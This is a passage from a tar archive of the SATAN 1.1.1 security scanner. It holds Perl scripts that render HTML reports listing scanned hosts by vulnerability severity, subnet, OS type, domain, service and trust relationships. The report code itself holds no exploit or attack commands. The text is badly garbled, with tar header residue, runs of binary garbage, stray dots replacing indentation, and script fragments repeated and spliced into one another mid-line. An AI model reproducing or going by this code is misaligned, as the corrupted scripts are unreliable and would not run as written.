  8186. <title> Vulnerabilities - By Type</title>
  8187. <LINK REV="made" HREF="mailto:satan\@fish.com">
  8188. </HEAD>
  8189. <BODY>
  8190. <H1><IMG SRC=$HTML_ROOT/images/satan.gif> Vulnerabilities - By Type</H1>
  8191. <hr>
  8192. <h3>Number of hosts per vulnerability type.</h3>
  8193. EOF
  8194.  
  8195. &make_severity_info();
  8196.  
  8197. if (sizeof(*severity_type_host_info) > 0) {
  8198.     print CLIENT <<EOF;
  8199. <ul>
  8200. EOF
  8201.     for (sort sort_numeric satan-1.1.1/html/reporting/satan_severity_counts.pl.................................................   600 .   465 .   506 .       1327  5737240772  15656. ..........................................................................
  8202. .................................................................................................................................................................................................................................................................
  8203. .........................#
  8204. # Sort hosts by number of vulnerabilties.
  8205. #
  8206. &make_severity_info();
  8207.  
  8208. print CLIENT <<EOF;
  8209. <HTML>
  8210. <HEAD>
  8211. <title> Vulnerabilities - By Counts </title>
  8212. <LINK REV="made" HREF="mailto:satan\@fish.com">
  8213. </HEAD>
  8214. <BODY>
  8215. <H1><IMG SRC=$HTML_ROOT/images/satan.gif> Vulnerabilities - By Counts </H1>
  8216. <hr>
  8217. <h3> Hosts by descending vulnerability counts. </h3>
  8218. EOF
  8219.  
  8220. $_sort_order = "severity";
  8221. @_hosts = keys %severity_host_count;
  8222. do "$html_root/reporting/sort_hosts.pl";
  8223. print CLIENT $@ if $@;
  8224.  
  8225. print CLIENT <<EOF
  8226. No vulnerability information found.
  8227. EOF
  8228. .if @_hosts == 0;
  8229.  
  8230. print CLIENT <<EOF;
  8231. <hr> <a href=$HTML_STARTPAGE> Back to the SATAN start page </a> |
  8232. <a href=analysis.pl> Back to SATAN Reporting and Analysis </a>
  8233. </BODY>
  8234. </HTML>
  8235. EOF
  8236. /ul>
  8237. .<strong>Note: hosts may appear in multiple categories. </strong>
  8238. EOF
  8239. } else {
  8240.     print CLIENT <<EOF
  8241. No vulnerability information found.
  8242. EOF
  8243. }
  8244.  
  8245. print CLIENT <<EOF
  8246. <hr> <a href=$HTML_STARTPAGE> Back to the SATAN start page </a> |
  8247. <a href=analysis.pl> Back to SATAN Reporting and Analysis </a>satan-1.1.1/html/reporting/satan_results_danger.pl..................................................   600 .   465 .   506 .       6603  5737771155  15440. .......................................
  8248. .................................................................................................................................................................................................................................................................
  8249. ............................................................#
  8250. #
  8251. #
  8252.  
  8253. print CLIENT <<EOF;
  8254. <HTML>
  8255. <HEAD>
  8256. <TITLE>Vulnerabilities - Danger Levels</TITLE>
  8257. <LINK REV="made" HREF="mailto:satan\@fish.com">
  8258. </HEAD>
  8259. <BODY>
  8260. <H1><IMG SRC="$HTML_ROOT/images/satan.gif" ALT="*"> Vulnerabilities - Danger Levels</H1>
  8261. <HR>
  8262. EOF
  8263. ;
  8264.  
  8265. $_rs = $_us = $_ns = $_uw = $_ur = $_nw = $_nr = $_nfs = "";
  8266.  
  8267. # make some indices...
  8268. if (sizeof(*severity_levels) > 0) {
  8269. .for $_type (sort keys %severity_levels) {
  8270. .if ($_type eq "rs") {
  8271. ..$_rs  = "<LI><A HREF=\"#root\">Root shell</A>"; }
  8272. .elsif ($_type eq "us") {
  8273. ..$_us  = "<LI><A HREF=\"#user\">User shell</A>"; }
  8274. .elsif ($_type eq "ns") {
  8275. ..$_ns  = "<LI><A HREF=\"#unprivileged\">Unprivileged shell</A>";}
  8276. .elsif ($_type eq "uw") {
  8277. ..$_uw = "<LI><A HREF=\"#user file write\">User file write</A>"; }
  8278. .elsif ($_type eq "uw") {
  8279. ..$_ur = "<LI><A HREF=\"#user file read\">User file read</A>"; }
  8280. .elsif ($_type eq "nr") {
  8281. ..$_nr  = "<LI><A HREF=\"#unpriv file read\">Unprivileged file read</A>"; }
  8282. .elsif ($_type eq "nw") {
  8283. ..$_nw  = "<LI><A HREF=\"#unpriv file write\">Unprivileged file write</A>"; }
  8284. .elsif ($_type eq "x") {
  8285. ..$_nfs  = "<LI><A HREF=\"#NFS\">NFS</A>"; }
  8286. ..}
  8287.  
  8288. print CLIENT <<EOF;
  8289. <h3>Table of contents</h3>
  8290. <ul>
  8291. $_rs
  8292. $_us
  8293. $_ns
  8294. $_uw
  8295. $_ur
  8296. $_nr
  8297. $_nw
  8298. $_nfs
  8299. </ul>
  8300. Note: hosts may appear in multiple categories. 
  8301. EOF
  8302. .}
  8303.  
  8304. &make_severity_info();
  8305.  
  8306. if (sizeof(*severity_levels) > 0) {
  8307. .for $_type (sort keys %severity_levels) {
  8308.  
  8309. ..# how serious is it?
  8310. ..if ($_type eq "rs") {
  8311. ...print CLIENT <<EOF;
  8312. ...<HR>
  8313. ...<A NAME="root"><H3> Root shell Problems </H3></A>
  8314. ...<HL>
  8315. ...<UL>
  8316. EOF
  8317. ...}
  8318. ..elsif ($_type eq "us") {
  8319. ...print CLIENT <<EOF;
  8320. ...<HR>
  8321. ...<A NAME="user"><H3> User shell Problems </H3></A>
  8322. ...<HL>
  8323. ...<UL>
  8324. EOF
  8325. ...}
  8326. ..elsif ($_type eq "ns") {
  8327. ...print CLIENT <<EOF;
  8328. ...<HR>
  8329. ...<A NAME="unprivileged"> <H3> "nobody" shell Problems </H3></A>
  8330. ...<HL>
  8331. ...<UL>
  8332. EOF
  8333. ...}
  8334. ..elsif ($_type eq "ur") {
  8335. ...print CLIENT <<EOF;
  8336. ...<HR>
  8337. ...<A NAME="user file read"> <H3> User reading file problems </H3></A>
  8338. ...<HL>
  8339. ...<UL>
  8340. EOF
  8341. ...}
  8342. ..elsif ($_type eq "uw") {
  8343. ...print CLIENT <<EOF;
  8344. ...<HR>
  8345. ...<A NAME="user file write"> <H3> User writing file problems </H3></A>
  8346. ...<HL>
  8347. ...<UL>
  8348. EOF
  8349. ...}
  8350. ..elsif ($_type eq "nr") {
  8351. ...print CLIENT <<EOF;
  8352. ...<HR>
  8353. ...<A NAME="unpriv file read"> <H3> "nobody" reading file problems </H3></A>
  8354. ...<HL>
  8355. ...<UL>
  8356. EOF
  8357. ...}
  8358. ..elsif ($_type eq "nw") {
  8359. ...print CLIENT <<EOF;
  8360. ...<HR>
  8361. ...<A NAME="unpriv file write"> <H3> "nobody" writing file problems </H3></A>
  8362. ...<HL>
  8363. ...<UL>
  8364. EOF
  8365. ...}
  8366. ..elsif ($_type eq "x") {
  8367. ...print CLIENT <<EOF;
  8368. ...<HR>
  8369. ...<A NAME="NFS"> <H3> NFS Problems </H3></A>
  8370. ...<HL>
  8371. ...<UL>
  8372. EOF
  8373. ...}
  8374. ..$_last_tmp = "";
  8375. ..$_last_txt = "";
  8376. ..# split all the targets into separate lines
  8377. ..for $_tmp (sort keys %{$severity_levels{$_type}}) {
  8378. ...for (sort split(/\n/, $severity_levels{$_type}{$_tmp})) {
  8379. ....&satan_split($_);
  8380. ....($_tutorial = $service_output) =~ tr / /_/;
  8381. ....# just weed out the dups
  8382. ....next if ($_last_tmp eq $_tmp && $text eq $_last_txt);
  8383. ....$_last_tmp = $_tmp;
  8384. ....$_last_txt = $text;
  8385. ....print CLIENT <<EOF;
  8386. ...<li> 
  8387. ...<a href="satan_info_host.pl,$_tmp,">$_tmp</a> 
  8388. ...<a href="$HTML_ROOT/tutorials/vulnerability/$_tutorial.html">($text)</a>
  8389. EOF
  8390. ....}
  8391. ...}
  8392. ..print CLIENT <<EOF;
  8393. ...</UL>
  8394. EOF
  8395. ..}
  8396. .}
  8397. else {
  8398. .print CLIENT <<EOF;
  8399. .<P> No vulnerability information found.
  8400. EOF
  8401. .}
  8402.  
  8403.         print CLIENT <<EOF;
  8404. <hr> <a href=$HTML_STARTPAGE> Back to the SATAN start page </a> |
  8405. <a href=analysis.pl> Back to SATAN Reporting and Analysis </a>
  8406. </BODY>
  8407. </HTML>
  8408. EOF
  8409. Dy═mÉ|┌Y╚X╞±=2l:─.'..I.╜iìN┬ñ..├º╞Ñ.2á▄┼.\Θ╟ë%oY±ß
  8410. .1G─┼α≥òè.Ñ.τ.└_.G$T╙╧░«σ%*▐Ω)3▒S.ë.B^ólÿ╝a.ADù½iJïÉ╒≥è≤b∙9∞┼)£a╪&)ªúò>9╙Æsatan-1.1.1/html/reporting/sort_hosts.pl............................................................   600 .   465 .   506 .      10036  5737226415  13445. ...........................
  8411. .................................................................................................................................................................................................................................................................
  8412. ........................................................................#
  8413. # Display a list of hosts sorted on some attribute; hosts may be member
  8414. # of more than group.
  8415. #
  8416.  
  8417. &make_severity_info();
  8418.  
  8419. $_sort_title = "";
  8420. %_sort_group = ();
  8421. $_sort_sub = "";
  8422. %_not_linked = ();
  8423. $_sort_note = "";
  8424.  
  8425. #
  8426. # Factor out sort-order dependent code.
  8427. #
  8428.  
  8429. sub sort_alpha {
  8430.         $a cmp $b;
  8431. }
  8432.  
  8433. sub sort_severity {
  8434. .$_res = ($severity_host_count{$b} <=> $severity_host_count{$a});
  8435. .return ($_res != 0) ? $_res : $a cmp $b;
  8436. }
  8437.  
  8438. sub sort_ip {
  8439. .local($aip,$bip);
  8440. .for $ip (split(/\./,$a)) { $aip = $aip * 256 + $ip; }
  8441. .for $ip (split(/\./,$b)) { $bip = $bip * 256 + $ip; }
  8442. .return $aip <=> $bip;
  8443. }
  8444.  
  8445. $_sort_toc = "sort_alpha";
  8446.  
  8447. if ($_sort_order eq "" || $_sort_order eq "name") {
  8448. .$_sort_group{""} = join(' ', @_hosts);
  8449. } elsif ($_sort_order eq "severity") {
  8450. .$_sort_group{""} = join(' ', @_hosts);
  8451. .$_sort_sub = "sort_severity";
  8452. } elsif ($_sort_order eq "subnet") {
  8453. .&make_subnet_info();
  8454. .$_sort_title = "Subnet";
  8455. .$_sort_link = "satan_results_subnet.pl";
  8456. .for (@_hosts) { $_sort_group{$host_subnet{$_}} .= "$_ "; }
  8457. .$_sort_toc = "sort_ip";
  8458. } elsif ($_sort_order eq "type") {
  8459. .&make_hosttype_info();
  8460. .$_sort_title = "System type";
  8461. .$_sort_link = "satan_info_OStype.pl";
  8462. .for (@_hosts) { $_sort_group{$hosttype{$_}} .= "$_ "; }
  8463. } elsif ($_sort_order eq "domain") {
  8464. .&make_domain_info();
  8465. .$_sort_title = "Internet domain";
  8466. .$_sort_link = "satan_results_domain.pl";
  8467. .for (@_hosts) { $_sort_group{$host_domain{$_}} .= "$_ "; }
  8468. } elsif ($_sort_order eq "severity_type") {
  8469. .$_sort_title = "Problem type";
  8470. .$_sort_link = "satan_severity_hosts.pl";
  8471. .for $_host (@_hosts) {
  8472. ..if (exists($severity_host_type_info{$_host})) {
  8473. ...for $_type (keys %{$severity_host_type_info{$_host}}) {
  8474. ....$_sort_group{$_type} .= "$_host ";
  8475. ...}
  8476. ..} else {
  8477. ...$_type = "(none)";
  8478. ...$_sort_group{$_type} .= "$_host ";
  8479. ...$_not_linked{$_type} = 1;
  8480. ..}
  8481. .}
  8482. .$_sort_note = "Note: a host may appear in more than one category.";
  8483. } elsif ($_sort_order eq "trusted_type") {
  8484. .$_sort_title = "Hosts trusted by $_trustee";
  8485. .for $_host (@_hosts) {
  8486. ..for $_type (keys %{$trust_host_type{"$_host $_trustee"}}) {
  8487. ...$_sort_group{$_type} .= "$_host ";
  8488. ...$_not_linked{$_type} = 1;
  8489. ..}
  8490. .}
  8491. .$_sort_note = "Note: a host may appear in more than one category.";
  8492. } elsif ($_sort_order eq "trustee_type") {
  8493. .$_sort_title = "Hosts trusting $_trusted";
  8494. .for $_host (@_hosts) {
  8495. ..for $_type (keys %{$trust_host_type{"$_trusted $_host"}}) {
  8496. ...$_sort_group{$_type} .= "$_host ";
  8497. ...$_not_linked{$_type} = 1;
  8498. ..}
  8499. .}
  8500. .$_sort_note = "Note: a host may appear in more than one category.";
  8501. }
  8502.  
  8503. #
  8504. # Make a nice table of contents.
  8505. #
  8506.  
  8507. if ($_sort_title) {
  8508. .print CLIENT <<EOF;
  8509. .<hr>
  8510. .<h3>$_sort_title: table of contents.</h3>
  8511. .<ul>
  8512. EOF
  8513. .for $_group (sort $_sort_toc keys %_sort_group) {
  8514. ..$_count = $_bad = 0;
  8515. ..for $_host (split(/\s/, $_sort_group{$_group})) {
  8516. ...$_count++;
  8517. ...$_bad++ if exists($severity_host_type_info{$_host});
  8518. ..}
  8519. ..$_dot = $_bad ? "reddot" : "blackdot";
  8520. ..$_alt = $_bad ? "*" : "-";
  8521. ..$_counts = ($_bad != $_count) ? "($_bad/$_count)" : "($_count)";
  8522. ..print CLIENT <<EOF;
  8523. ..<dt><IMG SRC="$HTML_ROOT/dots/$_dot.gif" ALT="$_alt"> 
  8524. ..<a href="#$_group">$_group</a> $_counts
  8525. EOF
  8526. .}
  8527. .print CLIENT <<EOF;
  8528. .</ul>
  8529. .$_sort_note
  8530. .<hr>
  8531. EOF
  8532. }
  8533.  
  8534. #
  8535. # Finally, list all those groups and their respective host members.
  8536. #
  8537.  
  8538. $_sort_sub = "sort_alpha" if $_sort_sub eq "";
  8539.  
  8540. for $_group (sort $_sort_toc keys %_sort_group) {
  8541. .if ($_sort_title) {
  8542. ..print CLIENT <<EOF;
  8543. ..<h3>
  8544. ..<a name="$_group">
  8545. ..$_sort_title: 
  8546. EOF
  8547. ..if ($_not_linked{$_group}) {
  8548. ...print CLIENT <<EOF;
  8549. ...$_group.
  8550. EOF
  8551. ..} else {
  8552. ...($_GROUP = $_group) =~ tr / \//?!/;
  8553. ...print CLIENT <<EOF;
  8554. ...<a href="$_sort_link,$_GROUP,">$_group</a>.
  8555. EOF
  8556. ..}
  8557. ..print CLIENT <<EOF;
  8558. ..</h3>
  8559. EOF
  8560. .}
  8561. .print CLIENT <<EOF;
  8562. .<ul>
  8563. EOF
  8564. .for (sort $_sort_sub split(/\s/, $_sort_group{$_group})) {
  8565. ..if ($severity_host_count{$_}) {
  8566. ...$_dot = "reddot";
  8567. ...$_alt = "*";
  8568. ...$_bad = "($severity_host_count{$_})";
  8569. ..} else {
  8570. ...$_dot = "blackdot";
  8571. ...$_alt = "-";
  8572. ...$_bad = "";
  8573. ..}
  8574. ..print CLIENT <<EOF;
  8575. ..<dt><IMG SRC=$HTML_ROOT/dots/$_dot.gif ALT="$_alt"> 
  8576. ..<a href="satan_info_host.pl,$_,"> $_</a> $_bad
  8577. EOF
  8578. .}
  8579. .print CLIENT <<EOF;
  8580. .</ul>
  8581. EOF
  8582. }
  8583. σ)╫îG£$█b╩░o.cOºΦF<O╘║i╢≥A∙¬╤┌─vê..▀Mæ▓µbV8U▀▄π╝.∞`┬╥╤[P÷MíΘ⌐├'p>╥▄─£≤i┼E█∙Yâ÷┤÷w;d.Ñ.╒ç.YΣ?
  8584. ┼IwV╛Ü,▓t∩Zδ.╙┘╧2âbÜ.£>E.W╙Ií`D
  8585. .╧]ìZƒαu╡~7*╠f.╢M<{g┤Ñ}clW8╓6\m-Σ╜Θ╬.fò¿i╤qSz⌐▌°«ér.t;.U├┌╝.┌─L.╡{X.xït╦W╗QG┴╜è .├ó}Nα¼.^┼ÿm╡╥├±.W...▐Mÿ[╠ç▐÷─.¥ªqî+d.÷LM.«┬.+.ï╤┼≈2½▌.îo.î└σ¡╟ó╒r.w{-.G─.M.╢0%£.E>.H∙╟h.╗,µ..f╞%gSúB.Γâ.¼║C⌐Ωs├ê╚4/
  8586. Σ═╫\^┼ÑJ╙<+I╛H⌠]╗.╣¥⌡8]KmjJτ╓∞ß=╙╓╣«k6║.φß(lVτNw¼╧Vδ.╧╪ÿ╦¬╡÷C÷M┌.¬α╓-\σb·nOO|vUy≤O└°lI┼|çihM╡7∙Θß╢eëß╛8ß-╛≡É/.vE>ßûq╛ë..:▌.╛α▓╖v▌%ù=í║εUù═U┼╬┴á»TB.$┐ïíú┼▒;ƒ
  8587. .╪satan-1.1.1/html/reporting/satan_info_OS.pl.........................................................   600 .   465 .   506 .       3373  5737240622  13742. ...................................................................................................
  8588. .................................................................................................................................................................................................................................................................
  8589. #
  8590. # Report all operating system classes.  On the fly evaluate the number of
  8591. # hosts per class, per operating system version and related statistics.
  8592. #
  8593. print CLIENT <<EOF;
  8594. <HTML>
  8595. <HEAD>
  8596. <title> Host Tables - by System Type </title>
  8597. <LINK REV="made" HREF="mailto:satan\@fish.com">
  8598. </HEAD>
  8599. <BODY>
  8600. <H1><IMG SRC=$HTML_ROOT/images/satan.gif> Host Tables - by System Type </H1>
  8601. <hr>
  8602. <h3>Number of hosts per system type (vulnerable/total).</h3>
  8603. <ul>
  8604. EOF
  8605.  
  8606. &make_hosttype_info() ;
  8607.  
  8608. for (sort keys %systypes_by_class) {
  8609. .# Mask possible blanks in the system class names.
  8610. .($_class = $_) =~ tr / \//?!/;
  8611. .$sysclass_severities{$_class} = 0 
  8612. ..unless defined($sysclass_severities{$_class});
  8613. .$_dot = $sysclass_severities{$_} ? "reddot" : "blackdot";
  8614. .$_alt = $sysclass_severities{$_} ? "*" : "-";
  8615. .print CLIENT <<EOF
  8616. .<dt><IMG SRC=$HTML_ROOT/dots/$_dot.gif ALT="$_alt"> 
  8617. .<a href="satan_info_OSclass.pl,$_class,"> $_</a>
  8618. .($sysclass_severities{$_}/$sysclass_counts{$_})
  8619. EOF
  8620. .unless /other/;
  8621. }
  8622. if (sizeof(*hosttype) > 0) {
  8623. .$_class = "other";
  8624. .$sysclass_severities{$_class} = 0 
  8625. ..unless defined($sysclass_severities{$_class});
  8626. .$_dot = $sysclass_severities{$_class} ? "reddot" : "blackdot";
  8627. .$_alt = $sysclass_severities{$_class} ? "*" : "-";
  8628. .print CLIENT <<EOF;
  8629. .<dt><IMG SRC=$HTML_ROOT/dots/$_dot.gif ALT="$_alt">
  8630. .<a href="satan_info_OSclass.pl,other,"> Other/unknown</a>
  8631. .($sysclass_severities{$_class}/$sysclass_counts{$_class})
  8632. .</ul>
  8633. .<HL><strong>System types with a red dot next to them have a vulnerable host contained within.</strong>
  8634. EOF
  8635. } else {
  8636. .print CLIENT <<EOF;
  8637. .</ul>
  8638. .No system type information available.
  8639. EOF
  8640. }
  8641.  
  8642. print CLIENT <<EOF;
  8643. <hr> <a href=$HTML_STARTPAGE> Back to the SATAN start page </a> |
  8644. <a href=analysis.pl> Back to SATAN Reporting and Analysis </a>
  8645. </BODY>
  8646. </HTML>
  8647. EOF
  8648. ..$_bad++ if exists($severity_host_type_info{$_host});
  8649. ..}
  8650. ..$_dot = $_bad ? "reddot" : "blackdot";
  8651. ..$_alt = $_bad ? "*" : "-";
  8652. ..$_counts = ($_bad != $_count) ? "($_bad/$_count)" : "($_count)";
  8653. ..print CLIENT <<EOF;
  8654. ..<dt><IMG SRC="$HTML_ROOT/dots/$_dot.gif" satan-1.1.1/html/reporting/satan_info_OSclass.pl....................................................   600 .   465 .   506 .       2036  5737240427  14766. ..........................................................
  8655. .................................................................................................................................................................................................................................................................
  8656. .........................................#
  8657. # Report all versions of the specified operating system class.
  8658. #
  8659. &make_hosttype_info();
  8660.  
  8661. ($_class) = split(/,/, $html_script_args);
  8662. $_class =~ tr /?!/ \//;
  8663. print CLIENT <<EOF;
  8664. <HTML>
  8665. <HEAD>
  8666. <title> System type - $_class </title>
  8667. <LINK REV="made" HREF="mailto:satan\@fish.com">
  8668. </HEAD>
  8669. <BODY>
  8670. <H1><IMG SRC=$HTML_ROOT/images/satan.gif> System type - $_class </H1>
  8671. <hr>
  8672. <h3>Number of hosts per operating system version (vulnerable/total).</h3>
  8673. <ul>
  8674. EOF
  8675.  
  8676. for (sort split(/\n/, $systypes_by_class{$_class})) {
  8677. .# Mask possible blanks and slashes in the system type names.
  8678. .($_type = $_) =~ tr / \//?!/;
  8679. .$_dot = $systype_severities{$_} ? "reddot" : "blackdot";
  8680. .$_alt = $systype_severities{$_} ? "*" : "-";
  8681. .print CLIENT <<EOF;
  8682. .<dt><IMG SRC=$HTML_ROOT/dots/$_dot.gif ALT="$_alt"> 
  8683. .<a href="satan_info_OStype.pl,$_type,"> $_</a>
  8684. .($systype_severities{$_}/$systype_counts{$_})
  8685. EOF
  8686. }
  8687. print CLIENT <<EOF
  8688. </ul>
  8689. <hr> <a href=$HTML_STARTPAGE> Back to the SATAN start page </a> |
  8690. <a href=analysis.pl> Back to SATAN Reporting and Analysis </a>
  8691. </BODY>
  8692. </HTML>
  8693. EOF
  8694. </ul>
  8695. .No system type information available.
  8696. EOF
  8697. }
  8698.  
  8699. print CLIENT <<EOF;
  8700. <hr> <a href=$HTML_STARTPAGE> Back to the SATAN start page </a> |
  8701. <a href=analysis.pl> Back to SATAN Reporting and Analysis </a>
  8702. </BODY>
  8703. </HTML>
  8704. EOF
  8705. ..$_bad++ if exists($severity_host_type_info{$_host});
  8706. ..}
  8707. ..$_dot = $_bad ? "reddot" : "blackdot";
  8708. ..$_alt = $_bad ? "*" : "-";
  8709. ..$_counts = ($_bad != $_count) ? "($_bad/$_count)" : "($_count)";
  8710. ..print CLIENT <<EOF;
  8711. ..<dt><IMG SRC="$HTML_ROOT/dots/$_dot.gif" satan-1.1.1/html/reporting/satan_results_subnet.pl..................................................   600 .   465 .   506 .       2100  5737240751  15455. ..........................................................
  8712. .................................................................................................................................................................................................................................................................
  8713. .........................................#
  8714. # List all hosts in a subnet
  8715. #
  8716. ($_subnet, $_sort_order) = split(/,/, $html_script_args);
  8717.  
  8718. print CLIENT <<EOF;
  8719. <HTML>
  8720. <HEAD>
  8721. <title> Host Table - Subnet $_subnet</title>
  8722. <LINK REV="made" HREF="mailto:satan\@fish.com">
  8723. </HEAD>
  8724. <BODY>
  8725. <H1><IMG SRC=$HTML_ROOT/images/satan.gif> Host Table - Subnet $_subnet</h1>
  8726. <hr>
  8727.  
  8728. <h3> 
  8729. $subnet_severities{$_subnet} Vulnerable/$subnet_count{$_subnet} total.
  8730. Vulnerability counts in parentheses.
  8731. </h3>
  8732.  
  8733. <H4> Sort hosts by:
  8734. <A HREF="satan_results_subnet.pl,$_subnet,name,">name</a> |
  8735. <A HREF="satan_results_subnet.pl,$_subnet,domain,">domain</a> |
  8736. <A HREF="satan_results_subnet.pl,$_subnet,type,">system type</a> |
  8737. <A HREF="satan_results_subnet.pl,$_subnet,severity,">problem count</a> |
  8738. <A HREF="satan_results_subnet.pl,$_subnet,severity_type,">problem type</a>
  8739. </H4>
  8740. EOF
  8741.  
  8742. @_hosts = split(/\s/, $all_subnets{$_subnet});
  8743. do "$html_root/reporting/sort_hosts.pl";
  8744. print CLIENT $@ if $@;
  8745.  
  8746. print CLIENT <<EOF;
  8747. <hr> <a href=$HTML_STARTPAGE> Back to the SATAN start page </a> |
  8748. <a href=analysis.pl> Back to SATAN Reporting and Analysis </a>
  8749. </BODY>
  8750. </HTML>
  8751. EOF
  8752. available.
  8753. EOF
  8754. }
  8755.  
  8756. print CLIENT <<EOF;
  8757. <hr> <a href=$HTML_STARTPAGE> Back to the SATAN start page </a> |
  8758. <a href=analysis.pl> Back to SATAN Reporting and Analysis </a>
  8759. </BODY>
  8760. </HTML>
  8761. EOF
  8762. ..$_bad++ if exists($severity_host_type_info{$_host});
  8763. ..}
  8764. ..$_dot = $_bad ? "reddot" : "blackdot";
  8765. ..$_alt = $_bad ? "*" : "-";
  8766. ..$_counts = ($_bad != $_count) ? "($_bad/$_count)" : "($_count)";
  8767. ..print CLIENT <<EOF;
  8768. ..<dt><IMG SRC="$HTML_ROOT/dots/$_dot.gif" satan-1.1.1/html/reporting/satan_info_servers.pl....................................................   600 .   465 .   506 .       2264  5737240710  15106. ..........................................................
  8769. .................................................................................................................................................................................................................................................................
  8770. .........................................#
  8771. # List hosts that provide a specific service.
  8772. #
  8773. ($_SERVICE, $_sort_order) = split(/,/, $html_script_args);
  8774. ($_service = $_SERVICE) =~ tr/?!/ \//;
  8775.  
  8776. print CLIENT <<EOF;
  8777. <HTML>
  8778. <HEAD>
  8779. <title> Host Table - $_service Servers </title>
  8780. <LINK REV="made" HREF="mailto:satan\@fish.com">
  8781. </HEAD>
  8782. <BODY>
  8783. <H1><IMG SRC=$HTML_ROOT/images/satan.gif> Host Table - $_service Servers </H1>
  8784. <hr>
  8785.  
  8786. <h3> 
  8787. $server_severities{$_service} Vulnerable/$server_counts{$_service} total.
  8788. Vulnerability counts in parentheses.
  8789. </h3>
  8790.  
  8791. <H4> Sort hosts by:
  8792. <a href="satan_info_servers.pl,$_SERVICE,name,">name</a> |
  8793. <a href="satan_info_servers.pl,$_SERVICE,domain,">domain</a> |
  8794. <a href="satan_info_servers.pl,$_SERVICE,type,">system type</a> |
  8795. <a href="satan_info_servers.pl,$_SERVICE,subnet,">subnet</a> |
  8796. <a href="satan_info_servers.pl,$_SERVICE,severity,">problem count</a> |
  8797. <a href="satan_info_servers.pl,$_SERVICE,severity_type,">problem type</a>
  8798. </H4>
  8799. EOF
  8800.  
  8801. @_hosts = keys %{$servers{$_service}};
  8802. do "$html_root/reporting/sort_hosts.pl";
  8803. print CLIENT $@ if $@;
  8804.  
  8805. print CLIENT <<EOF;
  8806. <hr> <a href=$HTML_STARTPAGE> Back to the SATAN start page </a> |
  8807. <a href=analysis.pl> Back to SATAN Reporting and Analysis </a>
  8808. </BODY>
  8809. </HTML>
  8810. EOF
  8811. ysis.pl> Back to SATAN Reporting and Analysis </a>
  8812. </BODY>
  8813. </HTML>
  8814. EOF
  8815. ..$_bad++ if exists($severity_host_type_info{$_host});
  8816. ..}
  8817. ..$_dot = $_bad ? "reddot" : "blackdot";
  8818. ..$_alt = $_bad ? "*" : "-";
  8819. ..$_counts = ($_bad != $_count) ? "($_bad/$_count)" : "($_count)";
  8820. ..print CLIENT <<EOF;
  8821. ..<dt><IMG SRC="$HTML_ROOT/dots/$_dot.gif" satan-1.1.1/html/reporting/satan_info_domain.pl.....................................................   600 .   465 .   506 .       2073  5737240657  14674. ..........................................................
  8822. .................................................................................................................................................................................................................................................................
  8823. .........................................#
  8824. # Report all internet domains.
  8825. #
  8826. print CLIENT <<EOF;
  8827. <HTML>
  8828. <HEAD>
  8829. <title> Host Tables - by Internet Domain </title>
  8830. <LINK REV="made" HREF="mailto:satan\@fish.com">
  8831. </HEAD>
  8832. <BODY>
  8833. <H1><IMG SRC=$HTML_ROOT/images/satan.gif> Host Tables - by Internet Domain </H1>
  8834. <hr>
  8835. <h3>Number of hosts per internet domain (vulnerable/total).</h3>
  8836. <strong>Domains with a red dot next to them have a vulnerable host contained within.</strong>
  8837. <ul>
  8838. EOF
  8839.  
  8840. &make_domain_info() ;
  8841.  
  8842. for (sort keys %all_domains) {
  8843. .next if (!$_);
  8844. .$_dot = $domain_severities{$_} ? "reddot" : "blackdot";
  8845. .$_alt = $domain_severities{$_} ? "*" : "-";
  8846. .print CLIENT <<EOF;
  8847. .<dt><IMG SRC=$HTML_ROOT/dots/$_dot.gif ALT="$_alt"> 
  8848. .<a href="satan_results_domain.pl,$_,"> $_</a>
  8849. .($domain_severities{$_}/$domain_count{$_})
  8850. EOF
  8851. }
  8852.  
  8853. print CLIENT <<EOF;
  8854. </ul>
  8855. EOF
  8856.  
  8857. if (sizeof(*all_domains) == 0) {
  8858. .print CLIENT <<EOF;
  8859. .No domain information available.
  8860. EOF
  8861. }
  8862.  
  8863. print CLIENT <<EOF;
  8864. </ul>
  8865. <hr> <a href=$HTML_STARTPAGE> Back to the SATAN start page </a> |
  8866. <a href=analysis.pl> Back to SATAN Reporting and Analysis </a>
  8867. </BODY>
  8868. </HTML>
  8869. EOF
  8870. > Back to the SATAN start page </a> |
  8871. <a href=analysis.pl> Back to SATAN Reporting and Analysis </a>
  8872. </BODY>
  8873. </HTML>
  8874. EOF
  8875. ysis.pl> Back to SATAN Reporting and Analysis </a>
  8876. </BODY>
  8877. </HTML>
  8878. EOF
  8879. ..$_bad++ if exists($severity_host_type_info{$_host});
  8880. ..}
  8881. ..$_dot = $_bad ? "reddot" : "blackdot";
  8882. ..$_alt = $_bad ? "*" : "-";
  8883. ..$_counts = ($_bad != $_count) ? "($_bad/$_count)" : "($_count)";
  8884. ..print CLIENT <<EOF;
  8885. ..<dt><IMG SRC="$HTML_ROOT/dots/$_dot.gif" satan-1.1.1/html/reporting/satan_info_trusting.pl...................................................   600 .   465 .   506 .       1763  5737240731  15302. ..........................................................
  8886. .................................................................................................................................................................................................................................................................
  8887. .........................................#
  8888. # Report which hosts are trusting how many times
  8889. #
  8890. sub sort_numerically {
  8891. .$total_trusted_count{$b} <=> $total_trusted_count{$a};
  8892. }
  8893.  
  8894. print CLIENT <<EOF;
  8895. <HTML>
  8896. <HEAD>
  8897. <title> Trust - Trusting Hosts</title>
  8898. <LINK REV="made" HREF="mailto:satan\@fish.com">
  8899. </HEAD>
  8900. <BODY>
  8901. <H1><IMG SRC=$HTML_ROOT/images/satan.gif> Trust - Trusting Hosts</H1>
  8902. <hr>
  8903. <h3>Trusting hosts (by number of trusted hosts).</h3>
  8904. <ul>
  8905. EOF
  8906.  
  8907. &make_severity_info();
  8908.  
  8909. for (sort sort_numerically keys %total_trusted_count) {
  8910. .$_dot = exists($severity_host_type_info{$_}) ? "reddot" : "blackdot";
  8911. .$_alt = exists($severity_host_type_info{$_}) ? "*" : "-";
  8912. .print CLIENT <<EOF;
  8913. .<dt><IMG SRC=$HTML_ROOT/dots/$_dot.gif ALT="$_alt"> 
  8914. .<A HREF="satan_info_host.pl,$_,">$_</A> -
  8915. .<A HREF="satan_results_trusted.pl,$_,trusted_type,"> $total_trusted_count{$_} host(s)</A>
  8916. EOF
  8917. }
  8918.  
  8919. print CLIENT <<EOF;
  8920. </ul>
  8921. <hr> <a href=$HTML_STARTPAGE> Back to the SATAN start page </a> |
  8922. <a href=analysis.pl> Back to SATAN Reporting and Analysis </a>
  8923. </BODY>
  8924. </HTML>
  8925. EOF
  8926. lysis.pl> Bacsatan-1.1.1/html/reporting/satan_info_class.pl......................................................   600 .   465 .   506 .       4221  5737241131  14513. ........................................................................................
